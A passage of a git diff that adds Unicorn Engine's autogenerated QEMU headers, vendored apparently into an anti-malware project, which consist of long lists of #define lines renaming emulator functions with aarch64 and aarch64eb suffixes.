tb_flush_aarch64 +#define tb_flush_jmp_cache tb_flush_jmp_cache_aarch64 +#define tb_free tb_free_aarch64 +#define tb_gen_code tb_gen_code_aarch64 +#define tb_hash_remove tb_hash_remove_aarch64 +#define tb_invalidate_phys_addr tb_invalidate_phys_addr_aarch64 +#define tb_invalidate_phys_page_range tb_invalidate_phys_page_range_aarch64 +#define tb_invalidate_phys_range tb_invalidate_phys_range_aarch64 +#define tb_jmp_cache_hash_func tb_jmp_cache_hash_func_aarch64 +#define tb_jmp_cache_hash_page tb_jmp_cache_hash_page_aarch64 +#define tb_jmp_remove tb_jmp_remove_aarch64 +#define tb_link_page tb_link_page_aarch64 +#define tb_page_remove tb_page_remove_aarch64 +#define tb_phys_hash_func tb_phys_hash_func_aarch64 +#define tb_phys_invalidate tb_phys_invalidate_aarch64 +#define tb_reset_jump tb_reset_jump_aarch64 +#define tb_set_jmp_target tb_set_jmp_target_aarch64 +#define tcg_accel_class_init tcg_accel_class_init_aarch64 +#define tcg_accel_type tcg_accel_type_aarch64 +#define tcg_add_param_i32 tcg_add_param_i32_aarch64 +#define tcg_add_param_i64 tcg_add_param_i64_aarch64 +#define tcg_add_target_add_op_defs tcg_add_target_add_op_defs_aarch64 +#define tcg_allowed tcg_allowed_aarch64 +#define tcg_canonicalize_memop tcg_canonicalize_memop_aarch64 +#define tcg_commit tcg_commit_aarch64 +#define tcg_cond_to_jcc tcg_cond_to_jcc_aarch64 +#define tcg_constant_folding tcg_constant_folding_aarch64 +#define tcg_const_i32 tcg_const_i32_aarch64 +#define tcg_const_i64 tcg_const_i64_aarch64 +#define tcg_const_local_i32 tcg_const_local_i32_aarch64 +#define tcg_const_local_i64 tcg_const_local_i64_aarch64 +#define tcg_context_init tcg_context_init_aarch64 +#define tcg_cpu_address_space_init tcg_cpu_address_space_init_aarch64 +#define tcg_cpu_exec tcg_cpu_exec_aarch64 +#define tcg_current_code_size tcg_current_code_size_aarch64 +#define tcg_dump_info tcg_dump_info_aarch64 +#define tcg_dump_ops tcg_dump_ops_aarch64 +#define tcg_exec_all tcg_exec_all_aarch64 +#define tcg_find_helper tcg_find_helper_aarch64 +#define tcg_func_start tcg_func_start_aarch64 +#define tcg_gen_abs_i32 tcg_gen_abs_i32_aarch64 +#define tcg_gen_add2_i32 tcg_gen_add2_i32_aarch64 +#define tcg_gen_add_i32 tcg_gen_add_i32_aarch64 +#define tcg_gen_add_i64 tcg_gen_add_i64_aarch64 +#define tcg_gen_addi_i32 tcg_gen_addi_i32_aarch64 +#define tcg_gen_addi_i64 tcg_gen_addi_i64_aarch64 +#define tcg_gen_andc_i32 tcg_gen_andc_i32_aarch64 +#define tcg_gen_and_i32 tcg_gen_and_i32_aarch64 +#define tcg_gen_and_i64 tcg_gen_and_i64_aarch64 +#define tcg_gen_andi_i32 tcg_gen_andi_i32_aarch64 +#define tcg_gen_andi_i64 tcg_gen_andi_i64_aarch64 +#define tcg_gen_br tcg_gen_br_aarch64 +#define tcg_gen_brcond_i32 tcg_gen_brcond_i32_aarch64 +#define tcg_gen_brcond_i64 tcg_gen_brcond_i64_aarch64 +#define tcg_gen_brcondi_i32 tcg_gen_brcondi_i32_aarch64 +#define tcg_gen_bswap16_i32 tcg_gen_bswap16_i32_aarch64 +#define tcg_gen_bswap32_i32 tcg_gen_bswap32_i32_aarch64 +#define tcg_gen_callN tcg_gen_callN_aarch64 +#define tcg_gen_code tcg_gen_code_aarch64 +#define tcg_gen_code_common tcg_gen_code_common_aarch64 +#define tcg_gen_code_search_pc tcg_gen_code_search_pc_aarch64 +#define tcg_gen_concat_i32_i64 tcg_gen_concat_i32_i64_aarch64 +#define tcg_gen_debug_insn_start tcg_gen_debug_insn_start_aarch64 +#define tcg_gen_deposit_i32 tcg_gen_deposit_i32_aarch64 +#define tcg_gen_exit_tb tcg_gen_exit_tb_aarch64 +#define tcg_gen_ext16s_i32 tcg_gen_ext16s_i32_aarch64 +#define tcg_gen_ext16u_i32 tcg_gen_ext16u_i32_aarch64 +#define tcg_gen_ext32s_i64 tcg_gen_ext32s_i64_aarch64 +#define tcg_gen_ext32u_i64 tcg_gen_ext32u_i64_aarch64 +#define tcg_gen_ext8s_i32 tcg_gen_ext8s_i32_aarch64 +#define tcg_gen_ext8u_i32 tcg_gen_ext8u_i32_aarch64 +#define tcg_gen_ext_i32_i64 tcg_gen_ext_i32_i64_aarch64 +#define tcg_gen_extu_i32_i64 tcg_gen_extu_i32_i64_aarch64 +#define tcg_gen_goto_tb tcg_gen_goto_tb_aarch64 +#define tcg_gen_ld_i32 tcg_gen_ld_i32_aarch64 +#define tcg_gen_ld_i64 tcg_gen_ld_i64_aarch64 +#define tcg_gen_ldst_op_i32 tcg_gen_ldst_op_i32_aarch64 +#define tcg_gen_ldst_op_i64 tcg_gen_ldst_op_i64_aarch64 +#define tcg_gen_movcond_i32 tcg_gen_movcond_i32_aarch64 +#define tcg_gen_movcond_i64 tcg_gen_movcond_i64_aarch64 +#define tcg_gen_mov_i32 tcg_gen_mov_i32_aarch64 +#define tcg_gen_mov_i64 tcg_gen_mov_i64_aarch64 +#define tcg_gen_movi_i32 tcg_gen_movi_i32_aarch64 +#define tcg_gen_movi_i64 tcg_gen_movi_i64_aarch64 +#define tcg_gen_mul_i32 tcg_gen_mul_i32_aarch64 +#define tcg_gen_muls2_i32 tcg_gen_muls2_i32_aarch64 +#define tcg_gen_mulu2_i32 tcg_gen_mulu2_i32_aarch64 +#define tcg_gen_neg_i32 tcg_gen_neg_i32_aarch64 +#define tcg_gen_neg_i64 tcg_gen_neg_i64_aarch64 +#define tcg_gen_not_i32 tcg_gen_not_i32_aarch64 +#define tcg_gen_op0 tcg_gen_op0_aarch64 +#define tcg_gen_op1i tcg_gen_op1i_aarch64 +#define tcg_gen_op2_i32 tcg_gen_op2_i32_aarch64 +#define tcg_gen_op2_i64 tcg_gen_op2_i64_aarch64 +#define tcg_gen_op2i_i32 tcg_gen_op2i_i32_aarch64 +#define tcg_gen_op2i_i64 tcg_gen_op2i_i64_aarch64 +#define tcg_gen_op3_i32 tcg_gen_op3_i32_aarch64 +#define tcg_gen_op3_i64 tcg_gen_op3_i64_aarch64 +#define tcg_gen_op4_i32 tcg_gen_op4_i32_aarch64 +#define tcg_gen_op4i_i32 tcg_gen_op4i_i32_aarch64 +#define tcg_gen_op4ii_i32 tcg_gen_op4ii_i32_aarch64 +#define tcg_gen_op4ii_i64 tcg_gen_op4ii_i64_aarch64 +#define tcg_gen_op5ii_i32 tcg_gen_op5ii_i32_aarch64 +#define tcg_gen_op6_i32 tcg_gen_op6_i32_aarch64 +#define tcg_gen_op6i_i32 tcg_gen_op6i_i32_aarch64 +#define tcg_gen_op6i_i64 tcg_gen_op6i_i64_aarch64 +#define tcg_gen_orc_i32 tcg_gen_orc_i32_aarch64 +#define tcg_gen_or_i32 tcg_gen_or_i32_aarch64 +#define tcg_gen_or_i64 tcg_gen_or_i64_aarch64 +#define tcg_gen_ori_i32 tcg_gen_ori_i32_aarch64 +#define tcg_gen_qemu_ld_i32 tcg_gen_qemu_ld_i32_aarch64 +#define tcg_gen_qemu_ld_i64 tcg_gen_qemu_ld_i64_aarch64 +#define tcg_gen_qemu_st_i32 tcg_gen_qemu_st_i32_aarch64 +#define tcg_gen_qemu_st_i64 tcg_gen_qemu_st_i64_aarch64 +#define tcg_gen_rotl_i32 tcg_gen_rotl_i32_aarch64 +#define tcg_gen_rotli_i32 tcg_gen_rotli_i32_aarch64 +#define tcg_gen_rotr_i32 tcg_gen_rotr_i32_aarch64 +#define tcg_gen_rotri_i32 tcg_gen_rotri_i32_aarch64 +#define tcg_gen_sar_i32 tcg_gen_sar_i32_aarch64 +#define tcg_gen_sari_i32 tcg_gen_sari_i32_aarch64 +#define tcg_gen_setcond_i32 tcg_gen_setcond_i32_aarch64 +#define tcg_gen_shl_i32 tcg_gen_shl_i32_aarch64 +#define tcg_gen_shl_i64 tcg_gen_shl_i64_aarch64 +#define tcg_gen_shli_i32 tcg_gen_shli_i32_aarch64 +#define tcg_gen_shli_i64 tcg_gen_shli_i64_aarch64 +#define tcg_gen_shr_i32 tcg_gen_shr_i32_aarch64 +#define tcg_gen_shifti_i64 tcg_gen_shifti_i64_aarch64 +#define tcg_gen_shr_i64 tcg_gen_shr_i64_aarch64 +#define tcg_gen_shri_i32 tcg_gen_shri_i32_aarch64 +#define tcg_gen_shri_i64 tcg_gen_shri_i64_aarch64 +#define tcg_gen_st_i32 tcg_gen_st_i32_aarch64 +#define tcg_gen_st_i64 tcg_gen_st_i64_aarch64 +#define tcg_gen_sub_i32 tcg_gen_sub_i32_aarch64 +#define tcg_gen_sub_i64 tcg_gen_sub_i64_aarch64 +#define tcg_gen_subi_i32 tcg_gen_subi_i32_aarch64 +#define tcg_gen_trunc_i64_i32 tcg_gen_trunc_i64_i32_aarch64 +#define tcg_gen_trunc_shr_i64_i32 tcg_gen_trunc_shr_i64_i32_aarch64 +#define tcg_gen_xor_i32 tcg_gen_xor_i32_aarch64 +#define tcg_gen_xor_i64 tcg_gen_xor_i64_aarch64 +#define tcg_gen_xori_i32 tcg_gen_xori_i32_aarch64 +#define tcg_get_arg_str_i32 tcg_get_arg_str_i32_aarch64 +#define tcg_get_arg_str_i64 tcg_get_arg_str_i64_aarch64 +#define tcg_get_arg_str_idx tcg_get_arg_str_idx_aarch64 +#define tcg_global_mem_new_i32 tcg_global_mem_new_i32_aarch64 +#define tcg_global_mem_new_i64 tcg_global_mem_new_i64_aarch64 +#define tcg_global_mem_new_internal tcg_global_mem_new_internal_aarch64 +#define tcg_global_reg_new_i32 tcg_global_reg_new_i32_aarch64 +#define tcg_global_reg_new_i64 tcg_global_reg_new_i64_aarch64 +#define tcg_global_reg_new_internal tcg_global_reg_new_internal_aarch64 +#define tcg_handle_interrupt tcg_handle_interrupt_aarch64 +#define tcg_init tcg_init_aarch64 +#define tcg_invert_cond tcg_invert_cond_aarch64 +#define tcg_la_bb_end tcg_la_bb_end_aarch64 +#define tcg_la_br_end tcg_la_br_end_aarch64 +#define tcg_la_func_end tcg_la_func_end_aarch64 +#define tcg_liveness_analysis tcg_liveness_analysis_aarch64 +#define tcg_malloc tcg_malloc_aarch64 +#define tcg_malloc_internal tcg_malloc_internal_aarch64 +#define tcg_op_defs_org tcg_op_defs_org_aarch64 +#define tcg_opt_gen_mov tcg_opt_gen_mov_aarch64 +#define tcg_opt_gen_movi tcg_opt_gen_movi_aarch64 +#define tcg_optimize tcg_optimize_aarch64 +#define tcg_out16 tcg_out16_aarch64 +#define tcg_out32 tcg_out32_aarch64 +#define tcg_out64 tcg_out64_aarch64 +#define tcg_out8 tcg_out8_aarch64 +#define tcg_out_addi tcg_out_addi_aarch64 +#define tcg_out_branch tcg_out_branch_aarch64 +#define tcg_out_brcond32 tcg_out_brcond32_aarch64 +#define tcg_out_brcond64 tcg_out_brcond64_aarch64 +#define tcg_out_bswap32 tcg_out_bswap32_aarch64 +#define tcg_out_bswap64 tcg_out_bswap64_aarch64 +#define tcg_out_call tcg_out_call_aarch64 +#define tcg_out_cmp tcg_out_cmp_aarch64 +#define tcg_out_ext16s tcg_out_ext16s_aarch64 +#define tcg_out_ext16u tcg_out_ext16u_aarch64 +#define tcg_out_ext32s tcg_out_ext32s_aarch64 +#define tcg_out_ext32u tcg_out_ext32u_aarch64 +#define tcg_out_ext8s tcg_out_ext8s_aarch64 +#define tcg_out_ext8u tcg_out_ext8u_aarch64 +#define tcg_out_jmp tcg_out_jmp_aarch64 +#define tcg_out_jxx tcg_out_jxx_aarch64 +#define tcg_out_label tcg_out_label_aarch64 +#define tcg_out_ld tcg_out_ld_aarch64 +#define tcg_out_modrm tcg_out_modrm_aarch64 +#define tcg_out_modrm_offset tcg_out_modrm_offset_aarch64 +#define tcg_out_modrm_sib_offset tcg_out_modrm_sib_offset_aarch64 +#define tcg_out_mov tcg_out_mov_aarch64 +#define tcg_out_movcond32 tcg_out_movcond32_aarch64 +#define tcg_out_movcond64 tcg_out_movcond64_aarch64 +#define tcg_out_movi tcg_out_movi_aarch64 +#define tcg_out_op tcg_out_op_aarch64 +#define tcg_out_pop tcg_out_pop_aarch64 +#define tcg_out_push tcg_out_push_aarch64 +#define tcg_out_qemu_ld tcg_out_qemu_ld_aarch64 +#define tcg_out_qemu_ld_direct tcg_out_qemu_ld_direct_aarch64 +#define tcg_out_qemu_ld_slow_path tcg_out_qemu_ld_slow_path_aarch64 +#define tcg_out_qemu_st tcg_out_qemu_st_aarch64 +#define tcg_out_qemu_st_direct tcg_out_qemu_st_direct_aarch64 +#define tcg_out_qemu_st_slow_path tcg_out_qemu_st_slow_path_aarch64 +#define tcg_out_reloc tcg_out_reloc_aarch64 +#define tcg_out_rolw_8 tcg_out_rolw_8_aarch64 +#define tcg_out_setcond32 tcg_out_setcond32_aarch64 +#define tcg_out_setcond64 tcg_out_setcond64_aarch64 +#define tcg_out_shifti tcg_out_shifti_aarch64 +#define tcg_out_st tcg_out_st_aarch64 +#define tcg_out_tb_finalize tcg_out_tb_finalize_aarch64 +#define tcg_out_tb_init tcg_out_tb_init_aarch64 +#define tcg_out_tlb_load tcg_out_tlb_load_aarch64 +#define tcg_out_vex_modrm tcg_out_vex_modrm_aarch64 +#define tcg_patch32 tcg_patch32_aarch64 +#define tcg_patch8 tcg_patch8_aarch64 +#define tcg_pcrel_diff tcg_pcrel_diff_aarch64 +#define tcg_pool_reset tcg_pool_reset_aarch64 +#define tcg_prologue_init tcg_prologue_init_aarch64 +#define tcg_ptr_byte_diff tcg_ptr_byte_diff_aarch64 +#define tcg_reg_alloc tcg_reg_alloc_aarch64 +#define tcg_reg_alloc_bb_end tcg_reg_alloc_bb_end_aarch64 +#define tcg_reg_alloc_call tcg_reg_alloc_call_aarch64 +#define tcg_reg_alloc_mov tcg_reg_alloc_mov_aarch64 +#define tcg_reg_alloc_movi tcg_reg_alloc_movi_aarch64 +#define tcg_reg_alloc_op tcg_reg_alloc_op_aarch64 +#define tcg_reg_alloc_start tcg_reg_alloc_start_aarch64 +#define tcg_reg_free tcg_reg_free_aarch64 +#define tcg_reg_sync tcg_reg_sync_aarch64 +#define tcg_set_frame tcg_set_frame_aarch64 +#define tcg_set_nop tcg_set_nop_aarch64 +#define tcg_swap_cond tcg_swap_cond_aarch64 +#define tcg_target_callee_save_regs tcg_target_callee_save_regs_aarch64 +#define tcg_target_call_iarg_regs tcg_target_call_iarg_regs_aarch64 +#define tcg_target_call_oarg_regs tcg_target_call_oarg_regs_aarch64 +#define tcg_target_const_match tcg_target_const_match_aarch64 +#define tcg_target_init tcg_target_init_aarch64 +#define tcg_target_qemu_prologue tcg_target_qemu_prologue_aarch64 +#define tcg_target_reg_alloc_order tcg_target_reg_alloc_order_aarch64 +#define tcg_temp_alloc tcg_temp_alloc_aarch64 +#define tcg_temp_free_i32 tcg_temp_free_i32_aarch64 +#define tcg_temp_free_i64 tcg_temp_free_i64_aarch64 +#define tcg_temp_free_internal tcg_temp_free_internal_aarch64 +#define tcg_temp_local_new_i32 tcg_temp_local_new_i32_aarch64 +#define tcg_temp_local_new_i64 tcg_temp_local_new_i64_aarch64 +#define tcg_temp_new_i32 tcg_temp_new_i32_aarch64 +#define tcg_temp_new_i64 tcg_temp_new_i64_aarch64 +#define tcg_temp_new_internal tcg_temp_new_internal_aarch64 +#define tcg_temp_new_internal_i32 tcg_temp_new_internal_i32_aarch64 +#define tcg_temp_new_internal_i64 tcg_temp_new_internal_i64_aarch64 +#define tdb_hash tdb_hash_aarch64 +#define teecr_write teecr_write_aarch64 +#define teehbr_access teehbr_access_aarch64 +#define temp_allocate_frame temp_allocate_frame_aarch64 +#define temp_dead temp_dead_aarch64 +#define temps_are_copies temps_are_copies_aarch64 +#define temp_save temp_save_aarch64 +#define temp_sync temp_sync_aarch64 +#define tgen_arithi tgen_arithi_aarch64 +#define tgen_arithr tgen_arithr_aarch64 +#define thumb2_logic_op thumb2_logic_op_aarch64 +#define ti925t_initfn ti925t_initfn_aarch64 +#define tlb_add_large_page tlb_add_large_page_aarch64 +#define tlb_flush_entry tlb_flush_entry_aarch64 +#define tlbi_aa64_asid_is_write tlbi_aa64_asid_is_write_aarch64 +#define tlbi_aa64_asid_write tlbi_aa64_asid_write_aarch64 +#define tlbi_aa64_vaa_is_write tlbi_aa64_vaa_is_write_aarch64 +#define tlbi_aa64_vaa_write tlbi_aa64_vaa_write_aarch64 +#define tlbi_aa64_va_is_write tlbi_aa64_va_is_write_aarch64 +#define tlbi_aa64_va_write tlbi_aa64_va_write_aarch64 +#define tlbiall_is_write tlbiall_is_write_aarch64 +#define tlbiall_write tlbiall_write_aarch64 +#define tlbiasid_is_write tlbiasid_is_write_aarch64 +#define tlbiasid_write tlbiasid_write_aarch64 +#define tlbimvaa_is_write tlbimvaa_is_write_aarch64 +#define tlbimvaa_write tlbimvaa_write_aarch64 +#define tlbimva_is_write tlbimva_is_write_aarch64 +#define tlbimva_write tlbimva_write_aarch64 +#define tlb_is_dirty_ram tlb_is_dirty_ram_aarch64 +#define tlb_protect_code tlb_protect_code_aarch64 +#define tlb_reset_dirty_range tlb_reset_dirty_range_aarch64 +#define tlb_reset_dirty_range_all tlb_reset_dirty_range_all_aarch64 +#define tlb_set_dirty tlb_set_dirty_aarch64 +#define tlb_set_dirty1 tlb_set_dirty1_aarch64 +#define tlb_unprotect_code_phys tlb_unprotect_code_phys_aarch64 +#define tlb_vaddr_to_host tlb_vaddr_to_host_aarch64 +#define token_get_type token_get_type_aarch64 +#define token_get_value token_get_value_aarch64 +#define token_is_escape token_is_escape_aarch64 +#define token_is_keyword token_is_keyword_aarch64 +#define token_is_operator token_is_operator_aarch64 +#define tokens_append_from_iter tokens_append_from_iter_aarch64 +#define to_qiv to_qiv_aarch64 +#define to_qov to_qov_aarch64 +#define tosa_init tosa_init_aarch64 +#define tosa_machine_init tosa_machine_init_aarch64 +#define tswap32 tswap32_aarch64 +#define tswap64 tswap64_aarch64 +#define type_class_get_size type_class_get_size_aarch64 +#define type_get_by_name type_get_by_name_aarch64 +#define type_get_parent type_get_parent_aarch64 +#define type_has_parent type_has_parent_aarch64 +#define type_initialize type_initialize_aarch64 +#define type_initialize_interface type_initialize_interface_aarch64 +#define type_is_ancestor type_is_ancestor_aarch64 +#define type_new type_new_aarch64 +#define type_object_get_size type_object_get_size_aarch64 +#define type_register_internal type_register_internal_aarch64 +#define type_table_add type_table_add_aarch64 +#define type_table_get type_table_get_aarch64 +#define type_table_lookup type_table_lookup_aarch64 +#define uint16_to_float32 uint16_to_float32_aarch64 +#define uint16_to_float64 uint16_to_float64_aarch64 +#define uint32_to_float32 uint32_to_float32_aarch64 +#define uint32_to_float64 uint32_to_float64_aarch64 +#define uint64_to_float128 uint64_to_float128_aarch64 +#define uint64_to_float32 uint64_to_float32_aarch64 +#define uint64_to_float64 uint64_to_float64_aarch64 +#define unassigned_io_ops unassigned_io_ops_aarch64 +#define unassigned_io_read unassigned_io_read_aarch64 +#define unassigned_io_write unassigned_io_write_aarch64 +#define unassigned_mem_accepts unassigned_mem_accepts_aarch64 +#define unassigned_mem_ops unassigned_mem_ops_aarch64 +#define unassigned_mem_read unassigned_mem_read_aarch64 +#define unassigned_mem_write unassigned_mem_write_aarch64 +#define update_spsel update_spsel_aarch64 +#define v6_cp_reginfo v6_cp_reginfo_aarch64 +#define v6k_cp_reginfo v6k_cp_reginfo_aarch64 +#define v7_cp_reginfo v7_cp_reginfo_aarch64 +#define v7mp_cp_reginfo v7mp_cp_reginfo_aarch64 +#define v7m_pop v7m_pop_aarch64 +#define v7m_push v7m_push_aarch64 +#define v8_cp_reginfo v8_cp_reginfo_aarch64 +#define v8_el2_cp_reginfo v8_el2_cp_reginfo_aarch64 +#define v8_el3_cp_reginfo v8_el3_cp_reginfo_aarch64 +#define v8_el3_no_el2_cp_reginfo v8_el3_no_el2_cp_reginfo_aarch64 +#define vapa_cp_reginfo vapa_cp_reginfo_aarch64 +#define vbar_write vbar_write_aarch64 +#define vfp_exceptbits_from_host vfp_exceptbits_from_host_aarch64 +#define vfp_exceptbits_to_host vfp_exceptbits_to_host_aarch64 +#define vfp_get_fpcr vfp_get_fpcr_aarch64 +#define vfp_get_fpscr vfp_get_fpscr_aarch64 +#define vfp_get_fpsr vfp_get_fpsr_aarch64 +#define vfp_reg_offset vfp_reg_offset_aarch64 +#define vfp_set_fpcr vfp_set_fpcr_aarch64 +#define vfp_set_fpscr vfp_set_fpscr_aarch64 +#define vfp_set_fpsr vfp_set_fpsr_aarch64 +#define visit_end_implicit_struct visit_end_implicit_struct_aarch64 +#define visit_end_list visit_end_list_aarch64 +#define visit_end_struct visit_end_struct_aarch64 +#define visit_end_union visit_end_union_aarch64 +#define visit_get_next_type visit_get_next_type_aarch64 +#define visit_next_list visit_next_list_aarch64 +#define visit_optional visit_optional_aarch64 +#define visit_start_implicit_struct visit_start_implicit_struct_aarch64 +#define visit_start_list visit_start_list_aarch64 +#define visit_start_struct visit_start_struct_aarch64 +#define visit_start_union visit_start_union_aarch64 +#define vmsa_cp_reginfo vmsa_cp_reginfo_aarch64 +#define vmsa_tcr_el1_write vmsa_tcr_el1_write_aarch64 +#define vmsa_ttbcr_raw_write vmsa_ttbcr_raw_write_aarch64 +#define vmsa_ttbcr_reset vmsa_ttbcr_reset_aarch64 +#define vmsa_ttbcr_write vmsa_ttbcr_write_aarch64 +#define vmsa_ttbr_write vmsa_ttbr_write_aarch64 +#define write_cpustate_to_list write_cpustate_to_list_aarch64 +#define write_list_to_cpustate write_list_to_cpustate_aarch64 +#define write_raw_cp_reg write_raw_cp_reg_aarch64 +#define X86CPURegister32_lookup X86CPURegister32_lookup_aarch64 +#define x86_op_defs x86_op_defs_aarch64 +#define xpsr_read xpsr_read_aarch64 +#define xpsr_write xpsr_write_aarch64 +#define xscale_cpar_write xscale_cpar_write_aarch64 +#define xscale_cp_reginfo xscale_cp_reginfo_aarch64 +#define ARM64_REGS_STORAGE_SIZE ARM64_REGS_STORAGE_SIZE_aarch64 +#define arm64_release arm64_release_aarch64 +#define arm64_reg_reset arm64_reg_reset_aarch64 +#define arm64_reg_read arm64_reg_read_aarch64 +#define arm64_reg_write arm64_reg_write_aarch64 +#define gen_a64_set_pc_im gen_a64_set_pc_im_aarch64 +#define aarch64_cpu_register_types aarch64_cpu_register_types_aarch64 +#define helper_udiv64 helper_udiv64_aarch64 +#define helper_sdiv64 helper_sdiv64_aarch64 +#define helper_cls64 helper_cls64_aarch64 +#define helper_cls32 helper_cls32_aarch64 +#define helper_rbit64 helper_rbit64_aarch64 +#define helper_vfp_cmps_a64 helper_vfp_cmps_a64_aarch64 +#define helper_vfp_cmpes_a64 helper_vfp_cmpes_a64_aarch64 +#define helper_vfp_cmpd_a64 helper_vfp_cmpd_a64_aarch64 +#define helper_vfp_cmped_a64 helper_vfp_cmped_a64_aarch64 +#define helper_vfp_mulxs helper_vfp_mulxs_aarch64 +#define helper_vfp_mulxd helper_vfp_mulxd_aarch64 +#define helper_simd_tbl helper_simd_tbl_aarch64 +#define helper_neon_ceq_f64 helper_neon_ceq_f64_aarch64 +#define helper_neon_cge_f64 helper_neon_cge_f64_aarch64 +#define helper_neon_cgt_f64 helper_neon_cgt_f64_aarch64 +#define helper_recpsf_f32 helper_recpsf_f32_aarch64 +#define helper_recpsf_f64 helper_recpsf_f64_aarch64 +#define helper_rsqrtsf_f32 helper_rsqrtsf_f32_aarch64 +#define helper_rsqrtsf_f64 helper_rsqrtsf_f64_aarch64 +#define helper_neon_addlp_s8 helper_neon_addlp_s8_aarch64 +#define helper_neon_addlp_u8 helper_neon_addlp_u8_aarch64 +#define helper_neon_addlp_s16 helper_neon_addlp_s16_aarch64 +#define helper_neon_addlp_u16 helper_neon_addlp_u16_aarch64 +#define helper_frecpx_f32 helper_frecpx_f32_aarch64 +#define helper_frecpx_f64 helper_frecpx_f64_aarch64 +#define helper_fcvtx_f64_to_f32 helper_fcvtx_f64_to_f32_aarch64 +#define helper_crc32_64 helper_crc32_64_aarch64 +#define helper_crc32c_64 helper_crc32c_64_aarch64 +#define aarch64_cpu_do_interrupt aarch64_cpu_do_interrupt_aarch64 +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/aarch64eb.h b/ai_anti_malware/unicorn/unicorn-master/qemu/aarch64eb.h new file mode 100644 index 0000000..fbdb37a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/aarch64eb.h @@ -0,0 +1,3056 @@ +/* Autogen header for Unicorn Engine - DONOT MODIFY */ +#ifndef UNICORN_AUTOGEN_AARCH64EB_H +#define UNICORN_AUTOGEN_AARCH64EB_H +#define arm_release arm_release_aarch64eb +#define aarch64_tb_set_jmp_target aarch64_tb_set_jmp_target_aarch64eb +#define ppc_tb_set_jmp_target ppc_tb_set_jmp_target_aarch64eb +#define use_idiv_instructions_rt use_idiv_instructions_rt_aarch64eb +#define tcg_target_deposit_valid tcg_target_deposit_valid_aarch64eb +#define helper_power_down helper_power_down_aarch64eb +#define check_exit_request check_exit_request_aarch64eb +#define address_space_unregister address_space_unregister_aarch64eb +#define tb_invalidate_phys_page_fast tb_invalidate_phys_page_fast_aarch64eb +#define phys_mem_clean phys_mem_clean_aarch64eb +#define tb_cleanup tb_cleanup_aarch64eb +#define memory_map memory_map_aarch64eb +#define memory_map_ptr memory_map_ptr_aarch64eb +#define memory_unmap memory_unmap_aarch64eb +#define memory_free memory_free_aarch64eb +#define free_code_gen_buffer free_code_gen_buffer_aarch64eb +#define helper_raise_exception helper_raise_exception_aarch64eb +#define tcg_enabled tcg_enabled_aarch64eb +#define tcg_exec_init tcg_exec_init_aarch64eb +#define memory_register_types memory_register_types_aarch64eb +#define cpu_exec_init_all cpu_exec_init_all_aarch64eb +#define vm_start vm_start_aarch64eb +#define resume_all_vcpus resume_all_vcpus_aarch64eb +#define a15_l2ctlr_read a15_l2ctlr_read_aarch64eb +#define a64_translate_init a64_translate_init_aarch64eb +#define aa32_generate_debug_exceptions aa32_generate_debug_exceptions_aarch64eb +#define aa64_cacheop_access aa64_cacheop_access_aarch64eb +#define aa64_daif_access aa64_daif_access_aarch64eb +#define aa64_daif_write aa64_daif_write_aarch64eb +#define aa64_dczid_read aa64_dczid_read_aarch64eb +#define aa64_fpcr_read aa64_fpcr_read_aarch64eb +#define aa64_fpcr_write aa64_fpcr_write_aarch64eb +#define aa64_fpsr_read aa64_fpsr_read_aarch64eb +#define aa64_fpsr_write aa64_fpsr_write_aarch64eb +#define aa64_generate_debug_exceptions aa64_generate_debug_exceptions_aarch64eb +#define aa64_zva_access aa64_zva_access_aarch64eb +#define aarch64_banked_spsr_index aarch64_banked_spsr_index_aarch64eb +#define aarch64_restore_sp aarch64_restore_sp_aarch64eb +#define aarch64_save_sp aarch64_save_sp_aarch64eb +#define accel_find accel_find_aarch64eb +#define accel_init_machine accel_init_machine_aarch64eb +#define accel_type accel_type_aarch64eb +#define access_with_adjusted_size access_with_adjusted_size_aarch64eb +#define add128 add128_aarch64eb +#define add16_sat add16_sat_aarch64eb +#define add16_usat add16_usat_aarch64eb +#define add192 add192_aarch64eb +#define add8_sat add8_sat_aarch64eb +#define add8_usat add8_usat_aarch64eb +#define add_cpreg_to_hashtable add_cpreg_to_hashtable_aarch64eb +#define add_cpreg_to_list add_cpreg_to_list_aarch64eb +#define addFloat128Sigs addFloat128Sigs_aarch64eb +#define addFloat32Sigs addFloat32Sigs_aarch64eb +#define addFloat64Sigs addFloat64Sigs_aarch64eb +#define addFloatx80Sigs addFloatx80Sigs_aarch64eb +#define add_qemu_ldst_label add_qemu_ldst_label_aarch64eb +#define address_space_access_valid address_space_access_valid_aarch64eb +#define address_space_destroy address_space_destroy_aarch64eb +#define address_space_destroy_dispatch address_space_destroy_dispatch_aarch64eb +#define address_space_get_flatview address_space_get_flatview_aarch64eb +#define address_space_init address_space_init_aarch64eb +#define address_space_init_dispatch address_space_init_dispatch_aarch64eb +#define address_space_lookup_region address_space_lookup_region_aarch64eb +#define address_space_map address_space_map_aarch64eb +#define address_space_read address_space_read_aarch64eb +#define address_space_rw address_space_rw_aarch64eb +#define address_space_translate address_space_translate_aarch64eb +#define address_space_translate_for_iotlb address_space_translate_for_iotlb_aarch64eb +#define address_space_translate_internal address_space_translate_internal_aarch64eb +#define address_space_unmap address_space_unmap_aarch64eb +#define address_space_update_topology address_space_update_topology_aarch64eb +#define address_space_update_topology_pass address_space_update_topology_pass_aarch64eb +#define address_space_write address_space_write_aarch64eb +#define addrrange_contains addrrange_contains_aarch64eb +#define addrrange_end addrrange_end_aarch64eb +#define addrrange_equal addrrange_equal_aarch64eb +#define addrrange_intersection addrrange_intersection_aarch64eb +#define addrrange_intersects addrrange_intersects_aarch64eb +#define addrrange_make addrrange_make_aarch64eb +#define adjust_endianness adjust_endianness_aarch64eb +#define all_helpers all_helpers_aarch64eb +#define alloc_code_gen_buffer alloc_code_gen_buffer_aarch64eb +#define alloc_entry alloc_entry_aarch64eb +#define always_true always_true_aarch64eb +#define arm1026_initfn arm1026_initfn_aarch64eb +#define arm1136_initfn arm1136_initfn_aarch64eb +#define arm1136_r2_initfn arm1136_r2_initfn_aarch64eb +#define arm1176_initfn arm1176_initfn_aarch64eb +#define arm11mpcore_initfn arm11mpcore_initfn_aarch64eb +#define arm926_initfn arm926_initfn_aarch64eb +#define arm946_initfn arm946_initfn_aarch64eb +#define arm_ccnt_enabled arm_ccnt_enabled_aarch64eb +#define arm_cp_read_zero arm_cp_read_zero_aarch64eb +#define arm_cp_reset_ignore arm_cp_reset_ignore_aarch64eb +#define arm_cpu_do_interrupt arm_cpu_do_interrupt_aarch64eb +#define arm_cpu_exec_interrupt 